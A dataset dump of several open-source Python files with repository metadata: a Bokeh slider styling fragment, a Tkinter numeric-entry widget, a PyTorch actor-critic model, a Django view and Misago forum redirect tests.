TE0My4xNDI4OCw0MDQuOTMzNTkgQyAtODAuNDc2NjE1LDQ5MS4yNjcgLTcuMTQzMzU1Myw1MzQuNDMzNjMgNzYuODU3MTE3LDUzNC40MzM1OSBDIDE0NC4xODk4Myw1MzQuNDMzNjMgMTk5Ljg1NjQ0LDUwMS45MzM2NiAyNDMuODU3MTIsNDM2LjkzMzU5IEMgMjg3Ljg1NjM1LDM3MS45MzM3OSAzMDkuODU2MzMsMjkzLjQzMzg3IDMwOS44NTcxMiwyMDEuNDMzNTkgQyAzMDkuODU2MzMsNTUuNDM0MTA3IDI0OC44NTYzOSwtNzguODk5MDkyIDEyNi44NTcxMiwtMjAxLjU2NjQxIEwgMTI2Ljg1NzEyLC0yMDEuNTY2NDEgeiIKICAgICAgIGlkPSJ0ZXh0MjMzMiIgLz4KICA8L2c+Cjwvc3ZnPgo=" width=10, height=20, style="margin-right:5px;"></img> """, css_classes=["custom-slider-title"], ) # Custom CSS style = lambda: Div( text=""" <style> .custom-slider { left: 5px !important; } .custom-slider .bk-slider-title { margin-left: -3px; } .custom-slider .bk-slider-value { font-weight: unset; } .custom-slider-title { position: relative !important; text-align: right; width: 20px !important; height: 20px; } .seed-button .bk-btn { padding: 6px 6px !important; transform: rotate(-90deg); background-color: #ffe0c6 !important; margin-top: 45px; height: 30px; margin-left: -30px; } .colorbar-slider .bk-noUi-draggable { %s } </style> """ % plasma )

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null

0

1

0

1

null

1

0

6

4b807287da3c4bf49a92c625c1bcd341834befe1

16,253

py

Python

tesliper/gui/components/numeric_entry.py

mishioo/tesliper

e09dcbc0eeb5cc5f7d612ea7f913e4c5dd58a327

[ "BSD-2-Clause" ]

null

tesliper/gui/components/numeric_entry.py

mishioo/tesliper

e09dcbc0eeb5cc5f7d612ea7f913e4c5dd58a327

[ "BSD-2-Clause" ]

4

2022-02-24T18:28:39.000Z

2022-03-23T16:27:59.000Z

tesliper/gui/components/numeric_entry.py

mishioo/tesliper

e09dcbc0eeb5cc5f7d612ea7f913e4c5dd58a327

[ "BSD-2-Clause" ]

null

import logging import math import operator import sys import tkinter as tk from tkinter import ttk logger = logging.getLogger(__name__) # TODO: refactor IntegerEntry and NumericEntry to have common base class class IntegerEntry(ttk.Entry): """Entry Entry that holds an integer value. Implements validation.""" def __init__( self, parent, scroll_rate=1, min_value=float("-inf"), max_value=float("inf"), include_min_value=True, include_max_value=True, **kwargs, ): self.scroll_rate = scroll_rate self.min_value = min_value self.max_value = max_value self.include_min_value = include_min_value self.include_max_value = include_max_value kwargs["textvariable"] = kwargs.get("textvariable", None) or tk.StringVar() kwargs["validate"] = kwargs.get("validate", None) or "all" if "validatecommand" not in kwargs: validatecommand = ( parent.register(self._validate), "%S", "%P", "%s", "%V", "%d", ) kwargs["validatecommand"] = validatecommand if "invalidcommand" not in kwargs: invalidcommand = ( parent.register(self._on_invalid), "%S", "%P", "%s", "%V", "%d", ) kwargs["invalidcommand"] = invalidcommand self.var = kwargs["textvariable"] self._previous = "" # used to recover after invalid "select all + paste" super().__init__(parent, **kwargs) self.bind("<MouseWheel>", self._on_mousewheel) # For Linux self.bind("<Button-4>", self._on_mousewheel) self.bind("<Button-5>", self._on_mousewheel) # loose focus to parent on Enter key press self.bind("<Return>", lambda _e, p=parent: p.focus_set()) def configure(self, cnf=None, **kwargs): customs = [ "min_value", "max_value", "include_min_value", "include_max_value", ] for key in customs: value = kwargs.pop(key, None) if value is not None: setattr(self, key, value) super().configure(cnf, **kwargs) self.update() def is_in_bounds(self, value): upper_op = operator.le if self.include_max_value else operator.lt lower_op = operator.ge if self.include_min_value else operator.gt return upper_op(value, self.max_value) and lower_op(value, self.min_value) def update(self, value=None): if value is None and not self.get(): logger.debug(f"Update aborted, {self} deliberately empty.") return value = value if value is not None else self.get() try: self.var.set(self.format(value)) except ValueError: logger.warning( f"Cannot update {self}: {repr(value)} can't be converted to int" ) @staticmethod def format(value): value = "{:d}".format(int(value)) return value @property def allowed_chars(self): allowed = "0123456789" if self.min_value < 0: allowed += "-" return allowed def _on_mousewheel(self, event): if event is not None: logger.debug(f"Event caught by {self}._on_mousewheel handler.") try: current = int(self.var.get()) except ValueError: convertible = False else: convertible = True if str(self["state"]) == "disabled" or not convertible: return # ignore event if widget is disabled or edition unfinished delta = event.delta if sys.platform == "darwin" else int(event.delta / 120) current = int(self.var.get()) updated = current + self.scroll_rate * delta if self.is_in_bounds(updated): self.var.set(self.format(updated)) def _validate(self, change, after, before, reason, action_code): """Enables only values that cen be interpreted as floats.""" logger.debug( f"Input in {self} validation: change={change}, after={after}, " f"before={before}, reason={reason}." ) if reason == "focusin": self._previous = before if action_code and any(c not in self.allowed_chars for c in change): return False if "-" in change and "-" in before and action_code: return False # do not allow double sign if "-" in after and not after.startswith("-"): return False # only allow sign in the beginning if not after and reason == "focusout": return False # do not allow no value if reason == "focusout": try: converted = int(after) except ValueError: return False if not self.is_in_bounds(converted): return False self.var.set(self.format(after)) # format only on valid "focusout" return True def _on_invalid(self, change, after, before, reason, action_code): """Change value to form accepted by float constructor.""" logger.debug( f"Input in {self} invalid: change={change}, after={after}, " f"before={before}, reason={reason}." ) if ( "-" in change and not before.startswith("-") and action_code # not deletion and self.min_value < 0 ): after = "-" + before elif change == "-" and before.startswith("-") and action_code: after = before[1:] if after == "-" and self.min_value < 0: after = after + "0" try: converted = int(after) if not self.is_in_bounds(converted) and reason == "focusout": raise ValueError # treat out-of-bounds value as invalid on "focusout" except ValueError: # revert if invalid float after = self._previous if reason == "focusout" else before else: # format only on "focusout" after = self.format(after) if reason == "focusout" else after self.var.set(after) class NumericEntry(ttk.Entry): """Entry that holds a numeric value. Implements validation and changing value on mouse wheel event. Parameters ---------- scroll_rate : float Value to add/substract to/from current value on scroll wheel event. Must not be specified if scroll_factor is given. scroll_factor : float Value by which to multiply/divide current value on scroll wheel event. Must not be specified if scroll_rate is given. scroll_modifier : callable[float, int] Custom function calculating new value after mouse wheel event. Must accept current value and standardized scroll delta value as parameters. Raises ------ TypeError If both, scroll_rate and scroll_factor are specified. """ def __init__( self, parent, scroll_rate=None, scroll_factor=None, scroll_modifier=None, decimal_digits=4, rounding=None, # or "up" or "down" keep_trailing_zeros=False, min_value=float("-inf"), max_value=float("inf"), include_min_value=True, include_max_value=True, **kwargs, ): self.scroll_factor = scroll_factor self.scroll_rate = scroll_rate self.scroll_modifier = scroll_modifier self.decimal_digits = decimal_digits self.rounding = rounding self.keep_trailing_zeros = keep_trailing_zeros self.min_value = min_value self.max_value = max_value self.include_min_value = include_min_value self.include_max_value = include_max_value kwargs["textvariable"] = kwargs.get("textvariable", None) or tk.StringVar() kwargs["validate"] = kwargs.get("validate", None) or "all" if "validatecommand" not in kwargs: validatecommand = ( parent.register(self._validate), "%S", "%P", "%s", "%V", "%d", ) kwargs["validatecommand"] = validatecommand if "invalidcommand" not in kwargs: invalidcommand = ( parent.register(self._on_invalid), "%S", "%P", "%s", "%V", "%d", ) kwargs["invalidcommand"] = invalidcommand self.var = kwargs["textvariable"] self._previous = "" # used to recover after invalid "select all + paste" super().__init__(parent, **kwargs) self.bind("<MouseWheel>", self._on_mousewheel) # For Linux self.bind("<Button-4>", self._on_mousewheel) self.bind("<Button-5>", self._on_mousewheel) # loose focus to parent on Enter key press self.bind("<Return>", lambda _e, p=parent: p.focus_set()) def is_in_bounds(self, value): upper_op = operator.le if self.include_max_value else operator.lt lower_op = operator.ge if self.include_min_value else operator.gt return upper_op(value, self.max_value) and lower_op(value, self.min_value) def configure(self, cnf=None, **kwargs): customs = [ "scroll_rate", "scroll_factor", "scroll_modifier", "decimal_digits", "keep_trailing_zeros", "min_value", "max_value", "include_min_value", "include_max_value", ] for key in customs: value = kwargs.pop(key, None) if value is not None: setattr(self, key, value) super().configure(cnf, **kwargs) self.update() def round(self, value): factor = 10 ** self.decimal_digits if self.rounding == "up": return math.ceil(value * factor) / factor elif self.rounding == "down": return math.floor(value * factor) / factor else: return round(value, self.decimal_digits) def update(self, value=None): if value is None and not self.get(): logger.debug(f"Update aborted, {self} deliberately empty.") return value = value if value is not None else self.get() value = self.round(value) if isinstance(value, float) else value try: self.var.set(self.format(value)) except ValueError: logger.warning( f"Cannot update {self}: {repr(value)} can't be converted to float" ) @property def scroll_factor(self): return self._scroll_factor @scroll_factor.setter def scroll_factor(self, value): if value is not None and getattr(self, "scroll_rate", None) is not None: raise TypeError("Only one, scroll_rate or scroll_factor may be specified.") self._scroll_factor = value @property def scroll_rate(self): return self._scroll_rate @scroll_rate.setter def scroll_rate(self, value): if value is not None and getattr(self, "scroll_factor", None) is not None: raise TypeError("Only one, scroll_rate or scroll_factor may be specified.") self._scroll_rate = value @property def scroll_modifier(self): if self._scroll_modifier is not None: return self._scroll_modifier elif getattr(self, "scroll_rate") is not None: return lambda v, d, r=self.scroll_rate: v + r * d elif getattr(self, "scroll_factor") is not None: return lambda v, d, f=self.scroll_factor: v * f ** d else: return lambda v, d: v @scroll_modifier.setter def scroll_modifier(self, value): self._scroll_modifier = value def format(self, value): formatter = f"{{:.{self.decimal_digits}f}}" value = formatter.format(float(value)) if not self.keep_trailing_zeros: value = value.rstrip("0") # discard insignificant trailing zeros if value.endswith("."): value += "0" # but keep at least one decimal digit return value def _on_mousewheel(self, event): if event is not None: logger.debug(f"Event caught by {self}._on_mousewheel handler.") try: _ = float(self.var.get()) except ValueError: convertible = False else: convertible = True if str(self["state"]) == "disabled" or not convertible: return # ignore event if widget is disabled or edition unfinished delta = event.delta if sys.platform == "darwin" else int(event.delta / 120) current = float(self.var.get()) updated = self.scroll_modifier(current, delta) updated = self.format(updated) if self.is_in_bounds(float(updated)): self.var.set(updated) @property def allowed_chars(self): allowed = "0123456789.," if self.min_value < 0: allowed += "-" return allowed def _validate(self, change, after, before, reason, action_code): """Enables only values that cen be interpreted as floats.""" logger.debug( f"Input in {self} validation: change={change}, after={after}, " f"before={before}, reason={reason}." ) if reason == "focusin": self._previous = before if action_code and any(c not in self.allowed_chars for c in change): return False if ( any(c in ".," for c in change) and any(c in ".," for c in before) and any(c in ".," for c in after) ): return False # do not allow double decimal separator if "-" in change and "-" in before and action_code: return False # do not allow double sign if "-" in after and not after.startswith("-"): return False # only allow sign in the beginning if after in ".,-" or after.endswith((".", ",")): # includes also unfinished negative float return reason != "focusout" # consider it invalid only when typing is over if not after and reason == "focusout": return False # do not allow no value if reason == "focusout": try: converted = float(after) except ValueError: return False if not self.is_in_bounds(converted): return False self.var.set(self.format(after)) # format only on valid "focusout" return True def _on_invalid(self, change, after, before, reason, action_code): """Change value to form accepted by float constructor.""" logger.debug( f"Input in {self} invalid: change={change}, after={after}, " f"before={before}, reason={reason}." ) if ( "-" in change and not before.startswith("-") and action_code # not deletion and self.min_value < 0 ): after = "-" + before elif change == "-" and before.startswith("-") and action_code: after = before[1:] if "," in after: # consider both, comma and dot, a decimal separator after = after.replace(",", ".") if after.endswith("."): after = after + "0" if after == "-" and self.min_value < 0: after = after + "0" try: converted = float(after) if not self.is_in_bounds(converted) and reason == "focusout": raise ValueError # treat out-of-bounds value as invalid on "focusout" except ValueError: # revert if invalid float after = self._previous if reason == "focusout" else before else: # format only on "focusout" after = self.format(after) if reason == "focusout" else after self.var.set(after)

36.523596

87

0.568818

1,886

16,253

4.773065

0.130965

0.023106

0.012997

0.007998

0.748611

0.732504

0.717507

0.701733

0

0.004318

0.330339

16,253

444

88

36.605856

0.822767

0.127115

0

0.731903

0

0.114186

0.00498

0

0.002252

0

1

0.067024

false

0

0.016086

0.005362

0.182306

0

null

0

1

0

1

0

null

0

6

4b8da095aea7babc9f9fef817638723ba12ec0d8

64

py

Python

minato_namikaze/bot_files/lib/database/discord_database/__init__.py

Dhruvacube/dhruva-shaw-bot

7300daf9353a17b6c6d69a8a932317e7c83299e5

[ "Apache-2.0" ]

1

2021-03-02T14:31:53.000Z

minato_namikaze/bot_files/lib/database/discord_database/__init__.py

Dhruvacube/yondaime-hokage

0a2ea21bcb3a75baadb5c080a5dc6382f1fa7c71

[ "Apache-2.0" ]

62

2021-02-27T15:41:08.000Z

2021-05-13T14:21:31.000Z

minato_namikaze/bot_files/lib/database/discord_database/__init__.py

Dhruvacube/dhruva-shaw-bot

7300daf9353a17b6c6d69a8a932317e7c83299e5

[ "Apache-2.0" ]

1

2021-03-07T10:03:55.000Z

from .backup import * from .badges import * from .tags import *

16

21

0.71875

9

64

5.111111

0.555556

0.434783

0

0.1875

64

3

22

21.333333

0.884615

0

1

0

true

0

1

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1

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1

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null

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0

1

0

null

0

1

0

1

0

1

0

6

29b9200d03bd44156d57d11954d20228a29fc75a

41

py

Python

kerasutils/losses/__init__.py

tchaye59/kerasutils

2849a35a246282851f5cdc22625b2afefb81bf65

[ "MIT" ]

null

kerasutils/losses/__init__.py

tchaye59/kerasutils

2849a35a246282851f5cdc22625b2afefb81bf65

[ "MIT" ]

null

kerasutils/losses/__init__.py

tchaye59/kerasutils

2849a35a246282851f5cdc22625b2afefb81bf65

[ "MIT" ]

null

from kerasutils.losses.bb_losses import *

41

0.853659

6

41

5.666667

0.833333

0

0.073171

41

1

41

0.894737

0

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0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

29b9b4a91e445562a3745bc676cb7eb4deb065f7

5,120

py

Python

code/model.py

ptrtmv/DRL_MultiAgent_Tenis

b26a281d4c63d7a9abf850235423d3019cdd244a

[ "MIT" ]

null

code/model.py

ptrtmv/DRL_MultiAgent_Tenis

b26a281d4c63d7a9abf850235423d3019cdd244a

[ "MIT" ]

null

code/model.py

ptrtmv/DRL_MultiAgent_Tenis

b26a281d4c63d7a9abf850235423d3019cdd244a

[ "MIT" ]

1

2019-07-06T12:45:11.000Z

''' Created on Jun 25, 2019 @author: ptrtmv ''' import numpy as np import torch import torch.nn as nn import torch.nn.functional as F def hidden_init(layer): fan_in = layer.weight.data.size()[0] lim = 1. / np.sqrt(fan_in) return (-lim, lim) class Actor(nn.Module): """Actor (Policy) Model.""" def __init__(self, stateSize,actionSize, hiddenLayers=[256,128], batchNormAfterLayers=None, seed = None): """Initialize parameters and build model. Params ====== """ super(Actor, self).__init__() self.seed = torch.manual_seed(seed) self.hiddenLayers = [stateSize, *hiddenLayers] # check if and where batchNorm should be added batchCount = 0 if batchNormAfterLayers!= None : nextBatchLayer = batchNormAfterLayers[0] else: nextBatchLayer = None self.network = nn.ModuleList([]) i = 0 for s1,s2 in zip(self.hiddenLayers[:-1],self.hiddenLayers[1:]): # check if to attach batch-norm here if i == nextBatchLayer: self.network.append(nn.BatchNorm1d(s1)) # append the batch layer batchCount = min( len(batchNormAfterLayers)-1,batchCount+1) # adjust index running over batch-norm layers nextBatchLayer = batchNormAfterLayers[batchCount] # get the position of the next batch-norm layer self.network.append(nn.Linear(s1,s2)) i+=1 self.outLayer = nn.Linear(s2,actionSize) self.reset_parameters() def reset_parameters(self): for layer in self.network: if type(layer) == nn.Linear: layer.weight.data.uniform_(*hidden_init(layer)) self.outLayer.weight.data.uniform_(-3e-3, 3e-3) def forward(self, state): nextX = state for layer in self.network: if type(layer) == nn.Linear: nextX = F.relu(layer(nextX)) else: #this should be a batch-layer nextX = layer(nextX) return torch.tanh(self.outLayer(nextX)) class Critic(nn.Module): """Critic (Value) Model.""" def __init__(self, stateSize,actionSize, hiddenLayers=[256,128], batchNormAfterLayers=None, attachActionToLayer=1, seed = None): """Initialize parameters and build model. Params ====== """ super(Critic, self).__init__() self.seed = torch.manual_seed(seed) self.attachActionToLayer = attachActionToLayer self.hiddenLayers = [stateSize, *hiddenLayers] # check if and where batchNorm should be added batchCount = 0 if batchNormAfterLayers!= None : nextBatchLayer = batchNormAfterLayers[batchCount] else: nextBatchLayer = None self.network = nn.ModuleList([]) i = 0 for s1,s2 in zip(self.hiddenLayers[:-1],self.hiddenLayers[1:]): # check if the action should be attached here # and adjust the size of the layer if i == attachActionToLayer: s1 += actionSize # check if to attach batch-norm here if i == nextBatchLayer: self.network.append(nn.BatchNorm1d(s1)) # append the batch layer batchCount = min( len(batchNormAfterLayers)-1,batchCount+1) # adjust index running over batch-norm layers nextBatchLayer = batchNormAfterLayers[batchCount] # get the position of the next batch-norm layer # if the action has not been attached yet # we have to shift the index of the layer it should be attached to # because an additional batch layer has been added if attachActionToLayer > i: self.attachActionToLayer += 1 self.network.append(nn.Linear(s1,s2)) i+=1 self.outLayer = nn.Linear(s2,1) self.reset_parameters() def reset_parameters(self): for layer in self.network: if type(layer) == nn.Linear: layer.weight.data.uniform_(*hidden_init(layer)) self.outLayer.weight.data.uniform_(-3e-3, 3e-3) def forward(self, state, action): nextX = state i = 0 for layer in self.network: if i == self.attachActionToLayer: nextX = torch.cat((nextX, action), dim=1) if type(layer) == nn.Linear: nextX = F.relu(layer(nextX)) else: #this should be a batch-layer nextX = layer(nextX) i+=1 return self.outLayer(nextX)

30.295858

132

0.535352

531

5,120

5.103578

0.222222

0.04059

0.025092

0.028044

0.736162

0.727675

0.661993

0

0.020006

0.375195

5,120

168

133

30.47619

0.827133

0.175781

0

0.706522

0

1

0.076087

false

0

0.043478

0

0.173913

0

null

0

1

0

1

0

null

0

6

4b03192fb2d6b51837641ab19453bb7e0599de24

131

py

Python

nsd1902/devweb/ansible_pro/myansible/mainpage/views.py

MrWangwf/nsd2019

5e859b4b1926dc098d236be3720779c50d0a55fc

[ "Apache-2.0" ]

1

2019-09-19T04:53:22.000Z

nsd1902/devweb/ansible_pro/myansible/mainpage/views.py

MrWangwf/nsd2019

5e859b4b1926dc098d236be3720779c50d0a55fc

[ "Apache-2.0" ]

null

nsd1902/devweb/ansible_pro/myansible/mainpage/views.py

MrWangwf/nsd2019

5e859b4b1926dc098d236be3720779c50d0a55fc

[ "Apache-2.0" ]

1

2021-12-28T04:26:02.000Z

from django.shortcuts import render # Create your views here. def mainpage(request): return render(request, 'mainpage.html')

18.714286

43

0.755725

17

131

5.823529

0.823529

0

0.152672

131

6

44

21.833333

0.891892

0.175573

0

0.122642

0

1

0.333333

false

0

0.333333

1

0

1

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null

0

1

0

null

0

1

0

1

0

6

d99e35069db69a81c97302e126ea6c356d598bda

15,597

py

Python

misago/misago/threads/tests/test_gotoviews.py

vascoalramos/misago-deployment

20226072138403108046c0afad9d99eb4163cedc

[ "MIT" ]

2

2021-03-06T21:06:13.000Z

2021-03-09T15:05:12.000Z

misago/misago/threads/tests/test_gotoviews.py

vascoalramos/misago-deployment

20226072138403108046c0afad9d99eb4163cedc

[ "MIT" ]

null

misago/misago/threads/tests/test_gotoviews.py

vascoalramos/misago-deployment

20226072138403108046c0afad9d99eb4163cedc

[ "MIT" ]

null

from django.utils import timezone from .. import test from ...categories.models import Category from ...conf.test import override_dynamic_settings from ...readtracker.poststracker import save_read from ...users.test import AuthenticatedUserTestCase from ..test import patch_category_acl GOTO_URL = "%s#post-%s" GOTO_PAGE_URL = "%s%s/#post-%s" POSTS_PER_PAGE = 7 POSTS_PER_PAGE_ORPHANS = 3 class GotoViewTestCase(AuthenticatedUserTestCase): def setUp(self): super().setUp() self.category = Category.objects.get(slug="first-category") self.thread = test.post_thread(category=self.category) class GotoPostTests(GotoViewTestCase): def test_goto_first_post(self): """first post redirect url is valid""" response = self.client.get(self.thread.first_post.get_absolute_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_URL % (self.thread.get_absolute_url(), self.thread.first_post_id), ) response = self.client.get(response["location"]) self.assertContains(response, self.thread.first_post.get_absolute_url()) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_goto_last_post_on_page(self): """last post on page redirect url is valid""" for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS - 1): post = test.reply_thread(self.thread) response = self.client.get(post.get_absolute_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_URL % (self.thread.get_absolute_url(), post.pk) ) response = self.client.get(response["location"]) self.assertContains(response, post.get_absolute_url()) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_goto_first_post_on_next_page(self): """first post on next page redirect url is valid""" for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS): post = test.reply_thread(self.thread) response = self.client.get(post.get_absolute_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_PAGE_URL % (self.thread.get_absolute_url(), 2, post.pk), ) response = self.client.get(response["location"]) self.assertContains(response, post.get_absolute_url()) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_goto_first_post_on_page_three_out_of_five(self): """first post on next page redirect url is valid""" posts = [] for _ in range(POSTS_PER_PAGE * 4 - 1): post = test.reply_thread(self.thread) posts.append(post) post = posts[POSTS_PER_PAGE * 2 - 3] response = self.client.get(post.get_absolute_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_PAGE_URL % (self.thread.get_absolute_url(), 3, post.pk), ) response = self.client.get(response["location"]) self.assertContains(response, post.get_absolute_url()) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_goto_first_event_on_page_three_out_of_five(self): """event redirect url is valid""" posts = [] for _ in range(POSTS_PER_PAGE * 4 - 1): post = test.reply_thread(self.thread) posts.append(post) post = posts[POSTS_PER_PAGE * 2 - 2] self.thread.has_events = True self.thread.save() post.is_event = True post.save() response = self.client.get(post.get_absolute_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_PAGE_URL % (self.thread.get_absolute_url(), 3, post.pk), ) response = self.client.get(response["location"]) self.assertContains(response, post.get_absolute_url()) class GotoLastTests(GotoViewTestCase): def test_goto_last_post(self): """first post redirect url is valid""" response = self.client.get(self.thread.get_last_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_URL % (self.thread.get_absolute_url(), self.thread.first_post_id), ) response = self.client.get(response["location"]) self.assertContains(response, self.thread.last_post.get_absolute_url()) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_goto_last_post_on_page(self): """last post on page redirect url is valid""" for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS - 1): post = test.reply_thread(self.thread) response = self.client.get(self.thread.get_last_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_URL % (self.thread.get_absolute_url(), post.pk) ) response = self.client.get(response["location"]) self.assertContains(response, post.get_absolute_url()) class GotoNewTests(GotoViewTestCase): def test_goto_first_post(self): """first unread post redirect url is valid""" response = self.client.get(self.thread.get_new_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_URL % (self.thread.get_absolute_url(), self.thread.first_post_id), ) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_goto_first_new_post(self): """first unread post redirect url in already read thread is valid""" save_read(self.user, self.thread.first_post) post = test.reply_thread(self.thread, posted_on=timezone.now()) for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS - 1): test.reply_thread(self.thread, posted_on=timezone.now()) response = self.client.get(self.thread.get_new_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_URL % (self.thread.get_absolute_url(), post.pk) ) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_goto_first_new_post_on_next_page(self): """first unread post redirect url in already read multipage thread is valid""" save_read(self.user, self.thread.first_post) for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS): last_post = test.reply_thread(self.thread, posted_on=timezone.now()) save_read(self.user, last_post) post = test.reply_thread(self.thread, posted_on=timezone.now()) for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS - 1): test.reply_thread(self.thread, posted_on=timezone.now()) response = self.client.get(self.thread.get_new_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_PAGE_URL % (self.thread.get_absolute_url(), 2, post.pk), ) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_goto_first_new_post_in_read_thread(self): """goto new in read thread points to last post""" save_read(self.user, self.thread.first_post) for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS): post = test.reply_thread(self.thread, posted_on=timezone.now()) save_read(self.user, post) response = self.client.get(self.thread.get_new_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_PAGE_URL % (self.thread.get_absolute_url(), 2, post.pk), ) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_guest_goto_first_new_post_in_thread(self): """guest goto new in read thread points to last post""" for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS): post = test.reply_thread(self.thread, posted_on=timezone.now()) self.logout_user() response = self.client.get(self.thread.get_new_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_PAGE_URL % (self.thread.get_absolute_url(), 2, post.pk), ) class GotoBestAnswerTests(GotoViewTestCase): def test_view_handles_no_best_answer(self): """if thread has no best answer, redirect to first post""" response = self.client.get(self.thread.get_best_answer_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_URL % (self.thread.get_absolute_url(), self.thread.first_post_id), ) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) def test_view_handles_best_answer(self): """if thread has best answer, redirect to it""" for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS): test.reply_thread(self.thread, posted_on=timezone.now()) best_answer = test.reply_thread(self.thread, posted_on=timezone.now()) self.thread.set_best_answer(self.user, best_answer) self.thread.save() for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS - 1): test.reply_thread(self.thread, posted_on=timezone.now()) response = self.client.get(self.thread.get_best_answer_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_PAGE_URL % (self.thread.get_absolute_url(), 2, best_answer.pk), ) class GotoUnapprovedTests(GotoViewTestCase): def test_view_validates_permission(self): """view validates permission to see unapproved posts""" response = self.client.get(self.thread.get_unapproved_post_url()) self.assertContains( response, "You need permission to approve content", status_code=403 ) with patch_category_acl({"can_approve_content": True}): response = self.client.get(self.thread.get_unapproved_post_url()) self.assertEqual(response.status_code, 302) @patch_category_acl({"can_approve_content": True}) def test_view_handles_no_unapproved_posts(self): """if thread has no unapproved posts, redirect to last post""" response = self.client.get(self.thread.get_unapproved_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_URL % (self.thread.get_absolute_url(), self.thread.first_post_id), ) @override_dynamic_settings( posts_per_page=POSTS_PER_PAGE, posts_per_page_orphans=POSTS_PER_PAGE_ORPHANS ) @patch_category_acl({"can_approve_content": True}) def test_view_handles_unapproved_posts(self): """if thread has unapproved posts, redirect to first of them""" for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS): test.reply_thread(self.thread, posted_on=timezone.now()) post = test.reply_thread( self.thread, is_unapproved=True, posted_on=timezone.now() ) for _ in range(POSTS_PER_PAGE + POSTS_PER_PAGE_ORPHANS - 1): test.reply_thread(self.thread, posted_on=timezone.now()) response = self.client.get(self.thread.get_unapproved_post_url()) self.assertEqual(response.status_code, 302) self.assertEqual( response["location"], GOTO_PAGE_URL % (self.thread.get_absolute_url(), 2, post.pk), ) class ThreadGotoPostTests(GotoViewTestCase): """brureforcing regression tests for regression test for #869""" def test_thread_growing_post_goto(self): """growing thread goto views don't fail""" for _ in range(60): post = test.reply_thread(self.thread, posted_on=timezone.now()) # go to post link is valid post_url = self.client.get(post.get_absolute_url())["location"] response = self.client.get(post_url) self.assertContains(response, post.get_absolute_url()) # go to last post link is valid last_url = self.client.get(self.thread.get_last_post_url())["location"] self.assertEqual(post_url, last_url) def test_thread_growing_event_goto(self): """growing thread goto views don't fail for events""" for i in range(60): test.reply_thread(self.thread, posted_on=timezone.now()) post = test.reply_thread(self.thread, posted_on=timezone.now()) post.is_event = True post.save() # go to post link is valid post_url = self.client.get(post.get_absolute_url())["location"] if i == 0: # manually set events flag after first event was created self.thread.has_events = True self.thread.save() response = self.client.get(post_url) self.assertContains(response, post.get_absolute_url()) # go to last post link is valid last_url = self.client.get(self.thread.get_last_post_url())["location"] self.assertEqual(post_url, last_url) def test_thread_post_goto(self): """thread goto views don't fail""" for _ in range(60): test.reply_thread(self.thread, posted_on=timezone.now()) for post in self.thread.post_set.order_by("id").iterator(): # go to post link is valid post_url = self.client.get(post.get_absolute_url())["location"] response = self.client.get(post_url) self.assertContains(response, post.get_absolute_url()) # go to last post link is valid last_url = self.client.get(self.thread.get_last_post_url())["location"] self.assertEqual(post_url, last_url) def test_thread_event_goto(self): """thread goto views don't fail for events""" for _ in range(60): test.reply_thread(self.thread, posted_on=timezone.now()) post = test.reply_thread(self.thread, posted_on=timezone.now()) post.is_event = True post.save() for post in ( self.thread.post_set.filter(is_event=True).order_by("id").iterator() ): # go to post link is valid post_url = self.client.get(post.get_absolute_url())["location"] response = self.client.get(post_url) self.assertContains(response, post.get_absolute_url()) # go to last post link is valid last_url = self.client.get(self.thread.get_last_post_url())["location"] self.assertEqual(post_url, last_url)

39.287154

86

0.664359

2,017

15,597

4.83292

0.066931

0.081042

0.091096

0.068219

0.876487

0.867973

0.852483

0.83771

0.820989

0.799549

0

0.007509

0.231583

15,597

